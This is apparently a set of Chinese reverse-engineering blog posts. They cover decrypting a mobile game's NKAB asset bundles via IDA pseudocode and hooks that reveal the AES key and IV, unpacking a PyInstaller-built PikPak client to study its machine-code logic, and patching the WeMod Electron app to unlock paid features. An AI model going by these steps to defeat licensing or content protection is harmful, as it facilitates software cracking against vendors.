UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_o *v22; // x8 struct System_Security_Cryptography_Aes_o *v23; // x0 struct System_Security_Cryptography_ICryptoTransform_o *v24; // x1 if ( (byte_A29949B & 1) == 0 ) { sub_71C6D98(&System_IDisposable_TypeInfo, stream, method); *(_BYTE *)(v5 + 1179) = 1; } UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream___ctor( (UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream_o *)this, stream, method); Header = this->fields._Header_k__BackingField; if ( !Header ) goto LABEL_20; UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader__ReadFromStream(Header, stream, v6); aes = this->fields._AES_k__BackingField; if ( !aes ) goto LABEL_20; ((void (__fastcall *)(struct System_Security_Cryptography_Aes_o *, __int64, const MethodInfo *))aes->klass->vtable._15_set_KeySize.methodPtr)( aes, 256LL, aes->klass->vtable._15_set_KeySize.method); sha256 = (System_Security_Cryptography_HashAlgorithm_o *)System_Security_Cryptography_SHA256__Create(0LL); v10 = sha256; Header_ = this->fields._Header_k__BackingField; if ( !Header_ ) sub_71C6EC8(); if ( !sha256 ) sub_71C6EC8(); key_sha256_hash = System_Security_Cryptography_HashAlgorithm__ComputeHash(sha256, Header_->fields.Key, 0LL); if ( !v13 ) sub_71C6EC8(); (*(void (__fastcall **)(__int64, System_Byte_array *, _QWORD))(*(_QWORD *)v13 + 504LL))( v13, key_sha256_hash, *(_QWORD *)(*(_QWORD *)v13 + 512LL)); v14 = v10->klass; v15 = v10->klass->_2.interface_offsets_count; if ( v10->klass->_2.interface_offsets_count ) { v16 = &v14->_1.interfaceOffsets->offset; while ( *((System_IDisposable_c **)v16 - 1) != System_IDisposable_TypeInfo ) { v16 += 4; if ( !--v15 ) goto LABEL_12; } v17 = (__int64)&v14->vtable + 16 * *v16; } else { LABEL_12: v17 = sub_71FA5E8(v10, System_IDisposable_TypeInfo, 0LL); } (*(void (__fastcall **)(System_Security_Cryptography_HashAlgorithm_o *, _QWORD))v17)(v10, *(_QWORD *)(v17 + 8)); if ( v18 ) sub_724180C(v18); v19 = this->fields._Header_k__BackingField; if ( !v19 || (v20 = this->fields._AES_k__BackingField) == 0LL || (((void (__fastcall *)(struct System_Security_Cryptography_Aes_o *, struct System_Byte_array *, const MethodInfo *))v20->klass->vtable._10_set_IV.methodPtr)( v20, v19->fields.IV, v20->klass->vtable._10_set_IV.method), (v22 = this->fields._Header_k__BackingField) == 0LL) || (UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream__RentBuffers( (UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream_o *)this, v22->fields.EncryptedLength, v21), (v23 = this->fields._AES_k__BackingField) == 0LL) ) { LABEL_20: sub_71C6EC8(); } v24 = (struct System_Security_Cryptography_ICryptoTransform_o *)((__int64 (__fastcall *)(struct System_Security_Cryptography_Aes_o *, const MethodInfo *))v23->klass->vtable._22_CreateDecryptor.methodPtr)( v23, v23->klass->vtable._22_CreateDecryptor.method); this->fields._transform_k__BackingField = v24; sub_71C6D34((__int64)&this->fields._transform_k__BackingField, (__int64)v24); }不难看出首先读了文件头加载至NKBundleHeader：Header = this->fields._Header_k__BackingField; if ( !Header ) goto LABEL_20; UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader__ReadFromStream(Header, stream, v6);NKBundleHeader逻辑后续再看，接着拿到AES实例，设置KeySize为256：aes = this->fields._AES_k__BackingField; if ( !aes ) goto LABEL_20; ((void (__fastcall *)(struct System_Security_Cryptography_Aes_o *, __int64, const MethodInfo *))aes->klass->vtable._15_set_KeySize.methodPtr)( aes, 256LL, aes->klass->vtable._15_set_KeySize.method);然后把NKBundleHeader.Keyhash一遍之后不知道干了什么（设置为AES的Key）:sha256 = (System_Security_Cryptography_HashAlgorithm_o *)System_Security_Cryptography_SHA256__Create(0LL); v10 = sha256; Header_ = this->fields._Header_k__BackingField; if ( !Header_ ) sub_71C6EC8(); if ( !sha256 ) sub_71C6EC8(); key_sha256_hash = System_Security_Cryptography_HashAlgorithm__ComputeHash(sha256, Header_->fields.Key, 0LL); if ( !v13 ) sub_71C6EC8(); (*(void (__fastcall **)(__int64, System_Byte_array *, _QWORD))(*(_QWORD *)v13 + 504LL))( v13, key_sha256_hash, *(_QWORD *)(*(_QWORD *)v13 + 512LL));再往下就是设置IV以及调用NKAssetBundleStream.RentBuffers(int length)并传入NKBundleHeader.EncryptedLength干了什么：_NKHeader = this->fields._Header_k__BackingField; if ( !_NKHeader || (v20 = this->fields._AES_k__BackingField) == 0LL || (((void (__fastcall *)(struct System_Security_Cryptography_Aes_o *, struct System_Byte_array *, const MethodInfo *))v20->klass->vtable._10_set_IV.methodPtr)( v20, _NKHeader->fields.IV, v20->klass->vtable._10_set_IV.method), (v22 = this->fields._Header_k__BackingField) == 0LL) || (UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream__RentBuffers( (UnityEngine_ResourceManagement_ResourceProviders_NKAssetBundleStream_o *)this, v22->fields.EncryptedLength, v21), (v23 = this->fields._AES_k__BackingField) == 0LL) )最后初始化Decryptor：v24 = (struct System_Security_Cryptography_ICryptoTransform_o *)((__int64 (__fastcall *)(struct System_Security_Cryptography_Aes_o *, const MethodInfo *))v23->klass->vtable._22_CreateDecryptor.methodPtr)( v23, v23->klass->vtable._22_CreateDecryptor.method); this->fields._transform_k__BackingField = v24; sub_71C6D34((__int64)&this->fields._transform_k__BackingField, (__int64)v24);0x3 动态Hook + 文件样本开头提到其实是动调+静态一同分析的。事实上看到NKAssetBundleStream中的SHA256hash就直接Hook对应方法拿到了hash的内容以及返回值。Hook也帮助理解了接下来的NKBundleHeader分析。其实如何Hook走了挺多弯路，花了周末一晚上+一个白天才搞定，那就是另一篇博文了。多次尝试后Hook的方法有这几个：HashAlgorithm.ComputeHash(byte[] buffer)AesCryptoServiceProvider.set_Key(byte[] value)AesCryptoServiceProvider.set_IV(byte[] value)NKAssetBundleStream.TransformBlock(byte[] from, byte[] to)样本文件头，避免乱码，看不出的内容全用.代替：0000h 4E 4B 41 42 01 00 00 00 CC FF 9C FF AC FF 0C 00 NKAB............ 0010h 47 6F 64 64 65 73 73 6F 66 56 69 63 74 6F 72 79 GoddessofVictory 0020h 11 56 19 17 89 16 EE FD 6C 55 E8 D4 4B 75 D5 A1 ................ 0030h 5C A3 77 70 44 51 CD B3 52 2E 08 1B CA 03 03 14 ................ 0040h 37 D2 33 C7 87 40 D9 C9 52 15 19 87 11 62 24 4A ................ 0050h 1C DF 5C 0F 24 69 9C B1 CA 26 C8 CF 2D B9 CF C0 ................ 0060h FB 58 19 73 C6 55 31 2D A1 6E 80 51 D9 A1 F1 C5 ................ 0070h 50 BC 24 20 BC 8F 31 DB ED 79 8D 1E B9 24 EE C4 ................ 0080h BE 86 8A 06 EA 1A F3 7E D8 4D 8B 83 6B C9 05 07 ................ 0090h 9E 54 F9 04 31 44 10 8F E4 1E D5 27 6B B4 49 6C ................ 00B0h F9 03 89 FA 00 03 00 01 F7 7C 00 00 6C BD 00 03 ................Hook方法HashAlgorithm.ComputeHash(byte[] buffer)打印结果：On enter HashAlgorithm byte[] ComputeHash(byte[] buffer) ! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 47 6f 64 64 65 73 73 6f 66 56 69 63 74 6f 72 79 GoddessofVictory On leave HashAlgorithm byte[] ComputeHash(byte[] buffer) { }! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 af 02 5f 29 32 be cd 01 f2 2f 86 c5 93 c7 65 f8 .._)2..../....e. 00000010 96 a3 b7 5d 19 14 e5 46 a3 e5 29 1d 55 32 94 fa ...]...F..).U2..Hook方法AesCryptoServiceProvider.set_Key(byte[] value)打印结果：On enter AesCryptoServiceProvider void set_Key(byte[] value) { } ! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 af 02 5f 29 32 be cd 01 f2 2f 86 c5 93 c7 65 f8 .._)2..../....e. 00000010 96 a3 b7 5d 19 14 e5 46 a3 e5 29 1d 55 32 94 fa ...]...F..).U2.. On leave AesCryptoServiceProvider void set_Key(byte[] value) { }!Hook方法AesCryptoServiceProvider.set_IV(byte[] value)打印结果：On enter AesCryptoServiceProvider void set_IV(byte[] value) { } ! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 11 56 19 17 89 16 ee fd 6c 55 e8 d4 4b 75 d5 a1 .V......lU..Ku.. On leave AesCryptoServiceProvider void set_IV(byte[] value) { }!Hook方法NKAssetBundleStream.TransformBlock(byte[] from, byte[] to)打印结果：On enter NKAssetBundleStream TransformBlock(byte[] from, byte[] to)! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 5c a3 77 70 44 51 cd b3 52 2e 08 1b ca 03 03 14 ................ 00000010 37 d2 33 c7 87 40 d9 c9 52 15 19 87 11 62 24 4a ................ 00000020 1c df 5c 0f 24 69 9c b1 ca 26 c8 cf 2d b9 cf c0 ................ 00000030 fb 58 19 73 c6 55 31 2d a1 6e 80 51 d9 a1 f1 c5 ................ 00000040 50 bc 24 20 bc 8f 31 db ed 79 8d 1e b9 24 ee c4 ................ 00000050 be 86 8a 06 ea 1a f3 7e d8 4d 8b 83 6b c9 05 07 ................ 00000060 9e 54 f9 04 31 44 10 8f e4 1e d5 27 6b b4 49 6c ................ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ On leave NKAssetBundleStream TransformBlock(byte[] from, byte[] to)! 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 55 6e 69 74 79 46 53 00 00 00 00 08 35 2e 78 2e UnityFS.....5.x. 00000010 78 00 32 30 32 31 2e 33 2e 39 66 31 00 00 00 00 x.2021.3.9f1.... 00000020 00 00 0b ba 99 00 00 00 88 00 00 00 e9 00 00 02 ................ 00000030 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040 1e 00 01 00 30 09 00 02 07 00 42 3a ef 00 03 0a ................ 00000050 00 23 8c 37 0a 00 34 01 dc 34 0a 00 24 d0 d7 0a ................ 00000060 00 24 d1 8d 0a 00 24 cb 9f 0a 00 24 b1 b5 0a 00 ................ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................这里对比一下就会发现AES的Key实际上就是文件头的0x10 - 0x19经过SHA256hash的结果。IV是文件头的0x20 - 0x29。再结合多个样本发现密文是文件头0x30 - ??不定长内容（在NKBundleHeader中有读取到）。0x3 NKBundleHeader伪代码（看得眼花）：bool __cdecl UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader__ReadFromStream(UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_o *this, System_IO_Stream_o *stream, const MethodInfo *method) { UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_c *v32; // x0 if ( (byte_A29949C & 1) == 0 ) { sub_71C6D98(&Method_System_Buffers_ArrayPool_byte__get_Shared___165997888, stream); sub_71C6D98(&System_Buffers_ArrayPool_byte__TypeInfo, v5); sub_71C6D98(&System_BitConverter_TypeInfo, v6); sub_71C6D98(&byte___TypeInfo, v7); sub_71C6D98(&System_Enum_TypeInfo, v8); sub_71C6D98(&Method_System_MemoryExtensions_SequenceEqual_byte____166505312, v9); sub_71C6D98(&UnityEngine_ResourceManagement_ResourceProviders_NKBundleEncryptionMode_var, v10); sub_71C6D98(&UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_TypeInfo, v11); sub_71C6D98(&Method_System_ReadOnlySpan_byte__op_Implicit___166240120, v12); sub_71C6D98(&Method_System_Span_byte__Slice___166253488, v13); sub_71C6D98(&Method_System_Span_byte___ctor___166253408, v14); sub_71C6D98(&Method_System_Span_byte__op_Implicit___166253512, v15); sub_71C6D98(&System_Type_TypeInfo, v16); sub_71C6D98(&ushort_TypeInfo, v17); *(_BYTE *)(v18 + 1180) = 1; } v68 = 0LL; if ( !stream ) goto LABEL_74; if ( ((__int64 (__fastcall *)(System_IO_Stream_o *, const MethodInfo *, const MethodInfo *))stream->klass->vtable._11_unknown.methodPtr)( stream, stream->klass->vtable._11_unknown.method, method) ) { v19 = ((__int64 (__fastcall *)(System_IO_Stream_o *, const MethodInfo *))stream->klass->vtable._7_unknown.methodPtr)( stream, stream->klass->vtable._7_unknown.method); if ( !v19 ) return v19; } v19 = ((__int64 (__fastcall *)(System_IO_Stream_o *, const MethodInfo *))stream->klass->vtable._6_unknown.methodPtr)( stream, stream->klass->vtable._6_unknown.method); if ( !v19 ) return v19; if ( !System_Buffers_ArrayPool_byte__TypeInfo->_2.cctor_finished ) j__il2cpp_runtime_class_init_0(); v20 = Method_System_Buffers_ArrayPool_byte__get_Shared___165997888; v21 = *((_QWORD *)Method_System_Buffers_ArrayPool_byte__get_Shared___165997888 + 4); if ( (*(_WORD *)(v21 + 306) & 1) == 0 ) v21 = sub_71FA3E0(v21); v22 = **(_QWORD **)(v21 + 192); if ( (*(_WORD *)(v22 + 306) & 1) == 0 ) v22 = sub_71FA3E0(v22); if ( !*(_DWORD *)(v22 + 224) ) j__il2cpp_runtime_class_init_0(); v23 = v20[4]; if ( (*(_WORD *)(v23 + 306) & 1) == 0 ) v23 = sub_71FA3E0(v23); v24 = **(_QWORD **)(v23 + 192); if ( (*(_WORD *)(v24 + 306) & 1) == 0 ) v24 = sub_71FA3E0(v24); v25 = **(_QWORD **)(v24 + 184); if ( !v25 ) LABEL_74: sub_71C6EC8(); v26 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v25 + 376LL))( v25, 16LL, *(_QWORD *)(*(_QWORD *)v25 + 384LL)); v28 = v26; v68 = v26; if ( byte_9D0853A ) { if ( v26 ) { LABEL_22: v29 = *(_DWORD *)(v28 + 24); goto LABEL_25; } } else { sub_71C6D98(&System_Type_TypeInfo, v27); *(_BYTE *)(v30 + 1338) = 1; if ( v28 ) goto LABEL_22; } v29 = 0; LABEL_25: v67[0] = 0LL; v67[1] = (__int64)&v68; if ( ((unsigned int (__fastcall *)(System_IO_Stream_o *, __int64, _QWORD, __int64, const MethodInfo *))stream->klass->vtable._31_unknown.methodPtr)( stream, v28, 0LL, 16LL, stream->klass->vtable._31_unknown.method) != 16 ) goto LABEL_72; if ( v29 <= 3 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v31 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v31 + 306) & 1) == 0 ) sub_71FA3E0(v31); v32 = UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_TypeInfo; if ( !UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_TypeInfo->_2.cctor_finished ) { j__il2cpp_runtime_class_init_0(); v32 = UnityEngine_ResourceManagement_ResourceProviders_NKBundleHeader_TypeInfo; } v33 = System_ReadOnlySpan_byte___op_Implicit( v32->static_fields->HEADER_ID, (const MethodInfo_22EBDD4 *)Method_System_ReadOnlySpan_byte__op_Implicit___166240120); v34 = Method_System_MemoryExtensions_SequenceEqual_byte____166505312; v69 = 0LL; if ( !(*(unsigned int (__fastcall **)(__int64 *))(*(_QWORD *)(*((_QWORD *)Method_System_MemoryExtensions_SequenceEqual_byte____166505312 + 7) + 8LL) + 8LL))(&v69) ) { if ( v33.fields._length == 4 ) { v40 = (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)(v34[7] + 16LL) + 8LL))(v35, 4LL); v41 = (*(__int64 (__fastcall **)(intptr_t, _QWORD))(*(_QWORD *)(v34[7] + 24LL) + 8LL))( v33.fields._pointer.fields._value, *(_QWORD *)&v33.fields._length); v38 = (*(__int64 (__fastcall **)(__int64, __int64, __int64))(*(_QWORD *)(v34[7] + 32LL) + 8LL))(v40, v41, 4LL); goto LABEL_37; } LABEL_72: sub_5F03DF8(v67); LOBYTE(v19) = 0; return v19; } if ( v33.fields._length != 4 ) goto LABEL_72; v36 = (uint8_t *)(*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)(v34[7] + 16LL) + 8LL))(v35, 4LL); v37 = (uint8_t *)(*(__int64 (__fastcall **)(intptr_t, _QWORD))(*(_QWORD *)(v34[7] + 24LL) + 8LL))( v33.fields._pointer.fields._value, *(_QWORD *)&v33.fields._length); v38 = System_SpanHelpers__SequenceEqual(v36, v37, 4 * v69, 0LL); LABEL_37: if ( (v38 & 1) == 0 ) goto LABEL_72; if ( (v29 & 0xFFFFFFFC) == 4 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v42 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v42 + 306) & 1) == 0 ) sub_71FA3E0(v42); v71.fields._pointer.fields._value = v39 + 4; *(_QWORD *)&v71.fields._length = 4LL; v43 = System_Span_byte___op_Implicit( v71, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); if ( !System_BitConverter_TypeInfo->_2.cctor_finished ) j__il2cpp_runtime_class_init_0(); this->fields.Version = System_BitConverter__ToUInt32_103767940((System_ReadOnlySpan_byte__o)v43, 0LL); if ( v29 <= 9 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v45 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v45 + 306) & 1) == 0 ) sub_71FA3E0(v45); v72.fields._pointer.fields._value = v44 + 8; *(_QWORD *)&v72.fields._length = 2LL; v73 = System_Span_byte___op_Implicit( v72, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); v66 = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v73, 0LL) + 100; v47 = v29 & 0xFFFFFFFE; if ( (v29 & 0xFFFFFFFE) == 10 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v48 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v48 + 306) & 1) == 0 ) sub_71FA3E0(v48); v74.fields._pointer.fields._value = v46 + 10; *(_QWORD *)&v74.fields._length = 2LL; v75 = System_Span_byte___op_Implicit( v74, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); v49 = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v75, 0LL); v50 = UnityEngine_ResourceManagement_ResourceProviders_NKBundleEncryptionMode_var; if ( !System_Type_TypeInfo->_2.cctor_finished ) j__il2cpp_runtime_class_init_0(); v70.fields.value = (intptr_t)v50; v51 = System_Type__GetTypeFromHandle(v70, 0LL); v52 = v49 + 100; LOWORD(v69) = v49 + 100; v53 = (Il2CppObject *)j__il2cpp_value_box_0(ushort_TypeInfo, &v69); if ( !System_Enum_TypeInfo->_2.cctor_finished ) j__il2cpp_runtime_class_init_0(); if ( !System_Enum__IsDefined(v51, v53, 0LL) ) goto LABEL_72; this->fields.EncryptionMode = v52; if ( v29 < 0xC || v47 == 12 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v55 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v55 + 306) & 1) == 0 ) sub_71FA3E0(v55); v76.fields._pointer.fields._value = v54 + 12; *(_QWORD *)&v76.fields._length = 2LL; v56 = System_Span_byte___op_Implicit( v76, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); if ( !System_BitConverter_TypeInfo->_2.cctor_finished ) j__il2cpp_runtime_class_init_0(); this->fields.KeyLength = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v56, 0LL) + 100; if ( v29 < 0xE || v47 == 14 ) System_ThrowHelper__ThrowArgumentOutOfRangeException(0LL); v58 = *((_QWORD *)Method_System_Span_byte__Slice___166253488 + 4); if ( (*(_WORD *)(v58 + 306) & 1) == 0 ) sub_71FA3E0(v58); v77.fields._pointer.fields._value = v57 + 14; *(_QWORD *)&v77.fields._length = 2LL; v78 = System_Span_byte___op_Implicit( v77, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); this->fields.EncryptedLength = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v78, 0LL) + 100; sub_5F03DF8(v67); v59 = (struct System_Byte_array *)sub_71C6DFC(byte___TypeInfo, this->fields.KeyLength); this->fields.Key = v59; sub_71C6D34((__int64)&this->fields.Key, (__int64)v59); v61 = ((__int64 (__fastcall *)(System_IO_Stream_o *, _QWORD, _QWORD, _QWORD, const MethodInfo *))stream->klass->vtable._31_unknown.methodPtr)( stream, *v60, 0LL, this->fields.KeyLength, stream->klass->vtable._31_unknown.method); LOBYTE(v19) = 0; if ( v61 == this->fields.KeyLength ) { v62 = (struct System_Byte_array *)sub_71C6DFC(byte___TypeInfo, 16LL); this->fields.IV = v62; v63 = &this->fields.IV; sub_71C6D34((__int64)v63, (__int64)v62); v64 = ((__int64 (__fastcall *)(System_IO_Stream_o *, struct System_Byte_array *, _QWORD, __int64, const MethodInfo *))stream->klass->vtable._31_unknown.methodPtr)( stream, *v63, 0LL, 16LL, stream->klass->vtable._31_unknown.method); LOBYTE(v19) = 0; if ( v64 == 16 ) LOBYTE(v19) = ((__int64 (__fastcall *)(System_IO_Stream_o *, const MethodInfo *))stream->klass->vtable._11_unknown.methodPtr)( stream, stream->klass->vtable._11_unknown.method) == v66; } return v19; }一上来就看的眼花缭乱，特别是IDA蓝汪汪的一片，经常看串行，第一次看愣是没看明白。后来结合实际文件头以及Hook打印一起看其实逻辑很清晰。以下只摘取关键代码：v33 = System_ReadOnlySpan_byte___op_Implicit( v32->static_fields->HEADER_ID, (const MethodInfo_22EBDD4 *)Method_System_ReadOnlySpan_byte__op_Implicit___166240120); v34 = Method_System_MemoryExtensions_SequenceEqual_byte____166505312; if ( !(*(unsigned int (__fastcall **)(__int64 *))(*(_QWORD *)(*((_QWORD *)Method_System_MemoryExtensions_SequenceEqual_byte____166505312 + 7) + 8LL) + 8LL))(&v69) ) { if ( v33.fields._length == 4 ) { v40 = (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)(v34[7] + 16LL) + 8LL))(v35, 4LL); v41 = (*(__int64 (__fastcall **)(intptr_t, _QWORD))(*(_QWORD *)(v34[7] + 24LL) + 8LL))( v33.fields._pointer.fields._value, *(_QWORD *)&v33.fields._length); v38 = (*(__int64 (__fastcall **)(__int64, __int64, __int64))(*(_QWORD *)(v34[7] + 32LL) + 8LL))(v40, v41, 4LL); goto LABEL_37; } LABEL_72: sub_5F03DF8(v67); LOBYTE(v19) = 0; return v19; } if ( v33.fields._length != 4 ) goto LABEL_72; v36 = (uint8_t *)(*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)(v34[7] + 16LL) + 8LL))(v35, 4LL); v37 = (uint8_t *)(*(__int64 (__fastcall **)(intptr_t, _QWORD))(*(_QWORD *)(v34[7] + 24LL) + 8LL))( v33.fields._pointer.fields._value, *(_QWORD *)&v33.fields._length); v38 = System_SpanHelpers__SequenceEqual(v36, v37, 4 * v69, 0LL);条件后执行的一堆看不懂，但可以看出v33是创建的ReadOnlySpan，数据是HEADER_ID，v34是Equal方法中的一环。结合实际文件头4E 4B 41 42 (NKAB) 可以猜测是先判断HEADER_ID的长度是不是4，之后与文件头的前4个字节对比看是否吻合。接下来：v71.fields._pointer.fields._value = v39 + 4; *(_QWORD *)&v71.fields._length = 4LL; v43 = System_Span_byte___op_Implicit( v71, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); this->fields.Version = System_BitConverter__ToUInt32_103767940((System_ReadOnlySpan_byte__o)v43, 0LL);结合文件头01 00 00 00可知首先把指针指向了文件头+4的位置，然后设长度为4，读取之后转成UInt32存为NKBundleHeader.Version。接下来都是同样的逻辑。v66没看懂是啥，先跳过。v74.fields._pointer.fields._value = v46 + 10; *(_QWORD *)&v74.fields._length = 2LL; v75 = System_Span_byte___op_Implicit( v74, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); v49 = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v75, 0LL); v52 = v49 + 100; this->fields.EncryptionMode = v52;结合文件头9C FF可知首先把指针指向了文件头+10的位置，然后设长度为2，读取之后转成UInt16再+100之后存为NKBundleHeader.EncryptionMode。每个文件都是一致，算出EncryptionMode = 0，后续以此类推得知KeyLength = ACFF.ToUInt16 + 0x64 = 16。重点是接下来的EncryptedLength：v76.fields._pointer.fields._value = v54 + 12; *(_QWORD *)&v76.fields._length = 2LL; v56 = System_Span_byte___op_Implicit( v76, (const MethodInfo_23A69F8 *)Method_System_Span_byte__op_Implicit___166253512); this->fields.KeyLength = System_BitConverter__ToUInt16_103767716((System_ReadOnlySpan_byte__o)v56, 0LL) + 100;可知EncryptedLength是文件头+12读取2字节并转为UInt16后再+100。Length小于100的就溢出后的数值实际长度，可还行0x4 结尾至此如何解密NKAB就分析完成了，接下来按部就班写解密程序即可。
记录下初次尝试逆向PyInstaller程序时参考的学习资料
0x0 背景6盘倒了之后出了个PikPak，虽说比不上6盘，但也够用。问题在于官方没有PC客户端，想要文件批量下载很不方便。在官方群中倒是有许多官方发布的第三方客户端链接，其中一款里调用IDM下载居然还是付费功能...想逆向看看机器码生成的逻辑，简单记录下过程中参考的资料。0x1 过程丢到IDA打开后看到有个WinMain(x, x, x, x)，查看调用发现其中一个方案里有这条字符串：Cannot open PyInstaller archive from executable .....。看来是PyInstaller打包后的Python程序。印象中GC佬有提到过PyInstaller的逆向，链接在这：记一次简单的Python逆向也谷歌了几份资料发现都是使用pyinstxtractor拆包，uncompyle6反编译。 python逆向实战：反编译pyinstaller打包生成的exe中提到PYZ-00.pyz_extracted应该是主要关注的目录。但第一次尝试使用pyinstxtractor解包后发现是空目录。这才注意到log中提到需要Python3.8来解包：[!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python308 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction不想再额外装一份Python3.8，还好谷歌找到有便携版Python：Portable Python 3.8。下载解压后运行Console-Launcher.exe即可在终端中使用Python3.8成功解包：[+] Processing PikPak_xxxxx.exe [+] Pyinstaller version: 2.1+ [+] Python version: 308 [+] Length of package: 44069253 bytes [+] Found 137 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_subprocess.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_win32api.pyc [+] Possible entry point: pyi_rth_win32comgenpy.pyc [+] Possible entry point: pyi_rth_pyqt5.pyc [+] Possible entry point: pikpak.pyc [+] Found 563 files in PYZ archive [+] Successfully extracted pyinstaller archive: PikPak_xxxxx.exe You can now use a python decompiler on the pyc files within the extracted directory根据提示程序主入口可能为pikpak.pyc，可以此文件入手。使用uncompyle6反编译时报错\# Deparsing stopped due to parse error翻看原库发现对于Python3.7以上版本推荐使用decompyle3:For Python 3.7 and 3.8, the code in decompyle3 is generally better.不过使用decompyle3后也会报同样的错，但其实结合字节码和反编译成功的源码是可以看出逻辑的。
0x0 背景风灵月影宗弟子翻找宗主秘籍时再次看到了WeMod，之前有稍微了解过是尝试做统一整合的修改器平台。不过风大自己也有修改器管理程序就没太在意WeMod。这次看到WeMod有游戏内Overlay，倒是很吸引人。但可惜是付费功能，本想着不贵的话就入手了，但发现WeMod是订阅制，且年费高达70美金。偶尔才有时间玩游戏，为了这个功能未免有些太贵，尝试白嫖一下。0x1 修改安装完成后尝试抓包看下是否能够从MitM入手，发现抓不到有用的连接。打开安装目录发现是熟悉的Electron应用。app-VER\resources下可以看到app.asar文件，其为压缩后的Electron资源文件。使用Node包asar即可解压。安装asar:npm install -g asar解压到app文件夹：asar extract app.asar ./app开启抓包及应用调试之前在实现PC端QQ当前子频道消息防撤回有提到过如何调试Electron应用，这里同理。解压asar后打开App入口index.js搜索关键词commandLine可以看到bootstrap()方法：function bootstrap() { B.commandLine.appendSwitch("no-proxy-server"); // 设置应用不走代理 if (C.devMode) { B.commandLine.appendSwitch("ignore-certificate-errors", "true"); if (B.commandLine.hasSwitch("electron-reload")) { n(320)(`${__dirname}\\output`, { electron: process.execPath }); } if (B.commandLine.hasSwitch("wemod-temp")) { C.windowOptions.webPreferences.partition = "temp"; } }可以看到此方法里有设置应用不走代理，可以顺手注释掉。在其后添加一行开关方便我们进行调试：B.commandLine.appendSwitch('remote-debugging-port', '8315');重新打包资源asar pack .\app\ app.asar定位打包替换资源后启动应用，可以发现能够正常抓包了，且数据并未加密。找到/v3/account调用，可以看到返回值如下：{ "uuid": "xxx", "username": "xxx", "email": null, "profileImage": "/avatars/default/xxx/{size}.png", "checkoutState": "mixed", "country": "xx", "flags": 0, "audience": 1, "subscription": null, "joinedAt": "2022-xx-xxTxx:xx:xxZ", "boosts": 0, "boostedGames": {}, "followedGames": {}, "answeredPolls": [ "25" ], "releaseChannels": [] }这其中有个subscription字段很明显值得调查下。（但我眼瞎了当时没发现这个字段，进而在代码中搜索pro来逐渐定位到此字段）在output/app-bundle.js中搜索此字段可以发现确实为我们需要着手的目标。代码中有许多处对subscription进行判断，那么只需要在赋值时修改此字段，那么就可以一劳永逸啦。搜寻中可以找到getUserAccount()方法，只需修改这里即可。商业软件，详细过程略尝试可以使用Overlay等不经过服务器的付费功能。
记一次JavaScript游戏修改 - Vampire Survivors - 存档修改等
